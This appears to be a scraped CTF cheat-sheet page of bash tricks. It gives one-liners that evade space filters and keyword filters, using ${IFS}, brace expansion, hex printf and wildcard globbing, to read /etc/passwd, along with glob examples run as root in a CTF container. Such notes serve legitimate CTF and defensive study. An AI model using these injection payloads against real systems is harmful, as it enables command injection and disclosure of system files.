bash-tricks
Space not allowed
$ {cat,/etc/passwd}
$ cat${IFS}/etc/passwd
$ cat${IFS:0:1}/etc/passwd
$ cat$IFS/etc/passwd
$ cat</etc/passwd>/tmp/outt
$ IFS=:;cat$IFS/etc/passwd
$ cat$IFS$9${PWD%%[a-z]*}e*c${PWD%%[a-z]*}p?ss?? # this is cat /etc/passwdBypass tricks
$ cat$(printf '\x20/etc/passwd')
$ C=cat; $C /etc/passwd
$ curl site.com/{1.php,2.php} # will fetch both 1 & 2.php in 1 request$ root@cb7435cd5cf3:/ctf# ls /root
angr bin ...
$ root@cb7435cd5cf3:/ctf# ls /roo*
angr bin ...
$ root@cb7435cd5cf3:/ctf# ls /roo?
angr bin ...
$ root@cb7435cd5cf3:/ctf# ls /roo[a-z]
angr bin ...
$ root@cb7435cd5cf3:/ctf# ls /roo{x,t}
ls: cannot access '/roox': No such file or directory
/root:
angr binThe mysterious ^D(Ctrl + D)
Local read file with Bash Commands
Useful Commands
HTOP
Connect to server manually
Last updated